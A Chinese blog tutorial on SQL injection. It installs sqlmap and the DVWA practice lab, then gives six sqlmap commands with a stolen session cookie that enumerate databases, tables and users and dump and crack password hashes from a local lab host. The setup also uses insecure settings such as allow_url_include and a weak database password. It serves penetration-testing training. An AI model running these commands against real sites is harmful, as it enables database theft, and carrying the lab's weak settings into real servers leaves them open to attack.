sql注入概述
通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺 骗服务器执行恶意的SQL命令。它是利用现有应用程序,可以通过在Web表单中输入(恶意)SQL 语句得到一个存在安全漏洞的网站上的数据库。比如先前的很多影视网站泄露VIP会员密码大多就是 通过WEB表单递交查询字符暴出的,这类表单特别容易受到SQL注入式攻击
什么是SQLmap
SQLmap是一款用来检测与利用SQL注入漏洞的免费开源工具,有一个非常棒的特性, 即对检测与利用的自动化处理(数据库指纹、访问底层文件系统、执行命令)。
安装sqlmap
-
安装Python 环境
yum -y install python
查看版本
python -V
-
安装
tar -xvf sqlmapproject-sqlmap-1.0.9-87-g7eab1bc.tar.gz -C /data/ mv /data/sqlmapproject-sqlmap-7eab1bc/ /data/sqlmap cd /data/sqlmap/ ./sqlmap.py
-
设置环境变量
vim /etc/profile alias sqlmap='python /data/sqlmap/sqlmap.py' source /etc/profile
安装渗透测试演练系统DVWA
PHP+Mysql编写的一套用于常规WEB漏洞教学和检测的WEB脆弱性测 试程序。包含了SQL注入、XSS、盲注等常见的一些安全漏洞。
前端管理LNMP
-
依赖安装
yum -y install gcc pcre-devel zlib-devel openssl-devel mariadb-devel php
-
安装
yum -y install php-fpm php-mysql mariadb-server php-gd mkdir /data tar -xvf nginx-1.12.2.tar.gz -C /data/ cd /data/nginx-1.12.2/ ./configure --with-http_ssl_module --prefix=/data/nginx make && make install
-
修改配置
vim /data/nginx/conf/nginx.conf http { fastcgi_buffers 8 16k; fastcgi_buffer_size 32k; fastcgi_connect_timeout 300; fastcgi_send_timeout 300; fastcgi_read_timeout 300; ... server { listen 80; server_name localhost; location / { root html/dvwa; index index.html index.htm; } location ~ \.php$ { root html/dvwa; fastcgi_pass 127.0.0.1:9000; fastcgi_index index.php; include fastcgi.conf; }
vim /etc/php.ini allow_url_include = On
-
启动
systemctl start php-fpm systemctl enable php-fpm /data/nginx/sbin/nginx
配置systemctl
vim /usr/lib/systemd/system/nginx.service [Unit] #服务名 Description=nginx #在网络启动以后启动 After=network.target [Service] Type=forking ExecStart=/data/nginx/sbin/nginx ExecReload=/data/nginx/sbin/nginx -s reload ExecStop=/data/nginx/sbin/nginx -s quit [Install] WantedBy=multi-user.target
systemctl daemon-reload /data/nginx/sbin/nginx -s stop systemctl start nginx.service systemctl status nginx.service systemctl enable nginx.service
-
安装web服务
unzip -d . dvwa1.9汉化.zip mv dvwa1.9汉化/dvwa/ /data/nginx/html/ chown -R 777 /data/nginx/html/dvwa/
创建对应数据库
CREATE USER 'dvwa'@'%' IDENTIFIED BY '123456'; CREATE DATABASE `dvwa`; GRANT ALL PRIVILEGES ON dvwa.* TO 'dvwa'@'%';
-
编辑配置数据库信息,user和password是MySQL的用户名和密码。
vim /data/nginx/html/dvwa/config/config.inc.php $_DVWA[ 'db_server' ] = '192.168.66.245'; $_DVWA[ 'db_database' ] = 'dvwa'; $_DVWA[ 'db_user' ] = 'dvwa'; $_DVWA[ 'db_password' ] = '123456'; $_DVWA[ 'db_port '] = '3306';
-
重启应用
systemctl restart php-fpm.service systemctl enable php-fpm.service systemctl restart nginx.service
-
演试DVWA网站系统
在浏览器中输入:http://192.168.66.244:18000/setup.php
生成自己的谷歌开源免费验证码reCAPTCHA的公钥和私钥
访问https://www.google.com/recaptcha/admin/create并用google账户登录, 在文本框输入自己网站的网址,如global-key.mycompany.com ,点击create key,生成Public Key和Private Key。
点 Create / Reset Database 创建测试数据库dvwa
点 Create / Reset Database后,等2秒,它会自动跳转后台管理登录页
vim /var/www/html/DVWA-1.9/config/config.inc.php $_DVWA[ 'recaptcha_public_key' ] = '自己的key'; $_DVWA[ 'recaptcha_private_key' ] = '自己的key';
dvwa的登录界面的默认用户名和密码为admin和password
例子1:枚举登录MYSQL数据的用户名与密码
使用SQLmap之前我们得到需要当前会话cookies等信息,用来在渗透过程中维持连接状态, 这里使用Firefox中名为“TamperData”的插件获取。
Tamper Data是一个用于跟踪和修改http/https请求和POST参数的扩展。
-
找到sql注入点:接下来以火狐浏览器登录:
http://192.168.1.63/DVWA-1.9/index.php
这里有提交sql语句的地方,所以就是我们的一个sql注入点。因此该页面就是我们的目 标页面。
-
获取当前页面的cookie信息 :
先别点login,等开始tamper data 再点login,这样就可以抓取到登录时 的cookie值
点login ,在弹出的界面点: tamper
可以抓到当前会话的cookie及提及表单的用户admin和密码password
-
使用sqlmap检索当前数据库和当前用户
sqlmap -u "http://192.168.1.63/DVWA-1.9/vulnerabilities/sqli/?id=22&Submit=Submit" --cookie='security=low; PHPSESSID=hlpvc2rk786h2eelje40j4rma4' -b --current-db --current-user
中间会遇到几个选项,一路选择Y就可以了
使用选项:
1、–cookie :设置我们的cookie值“将DVWA安全等级从high设置为low”
2、-u : 指定目标URL,syql注入点
3、-b :获取DBMS banner数据库管理系统
4、–current-db : 获取当前数据库
5、–current-user :获取当前用户
例子2:枚举所有登录msyql数据库的用户名和密码hash值,对密码hash破解,生成明文密码
sqlmap -u
"http://192.168.1.63/DVWA-1.9/vulnerabilities/sqli/?id=22&Submit=Submit" --cookie='security=low; PHPSESSID=hlpvc2rk786h2eelje40j4rma4' --string="Surname" --users --password
例子3:枚举系统中所有的数据库名
sqlmap -u
"http://192.168.1.63/DVWA-1.9/vulnerabilities/sqli/?id=22&Submit=Submit" --cookie='security=low; PHPSESSID=hlpvc2rk786h2eelje40j4rma4' --dbs
使用选项:
–dbs: 枚举DBMS中的所有数据库
例子4:枚举dvwa数据表:
sqlmap -u
"http://192.168.1.63/DVWA-1.9/vulnerabilities/sqli/?id=22&Submit=Submit" --cookie='security=low; PHPSESSID=hlpvc2rk786h2eelje40j4rma4'
-D dvwa --tables
使用选项:
-D : 要枚举的DBMS数据库
–tables : 枚举DBMS数据库中的数据表
得到结果如下:
Database: dvwa
[2 tables]
+————+
| guestbook |
| users |
+————+
例子5:获取dvwa库中users表的所有列名字
sqlmap -u
"http://192.168.1.63/DVWA-1.9/vulnerabilities/sqli/?id=22&Submit=Submit" --cookie='security=low; PHPSESSID=hlpvc2rk786h2eelje40j4rma4'
-D dvwa
-T users --columns
使用选项:
-T : 要枚举的DBMS数据库表
–columns : 枚举DBMS数据库表中的所有列
例子6:提取user表中的用户名与密码等信息。将用户与密码表中的所有用户名与密码dump出来
sqlmap -u
"http://192.168.1.63/DVWA-1.9/vulnerabilities/sqli/?id=22&Submit=Submit" --cookie='security=low; PHPSESSID=hlpvc2rk786h2eelje40j4rma4'
-D dvwa -T users -C user,password --dump
使用选项:
-T : 要枚举的DBMS数据表
-C: 要枚举的DBMS数据表中的列
–dump : 转储DBMS数据表项
SQLmap会提问是否破解密码,按回车确认:
尽管我们用的数据库中密码是经过md5加密的,但是sqlmap可以导出sql数据,帮你解析成明文密码
查看导出的数据:
vim /root/.sqlmap/output/192.168.1.63/dump/dvwa/users.csv
user,password
1337,8d3533d75ae2c3966d7e0d4fcc69216b (charley)
admin,5f4dcc3b5aa765d61d8327deb882cf99 (password)
gordonb,e99a18c428cb38d5f260853678922e03 (abc123)
pablo,0d107d09f5bbe40cade3de5c71e9e9b7 (letmein)
smithy,5f4dcc3b5aa765d61d8327deb882cf99 (password)
喜欢的亲可以关注点赞评论哦!以后每天都会更新的哦!本文为小编原创文章; 文章中用到的文件、安装包等可以加小编联系方式获得;
欢迎来交流小编联系方式VX:CXKLittleBrother 进入运维交流群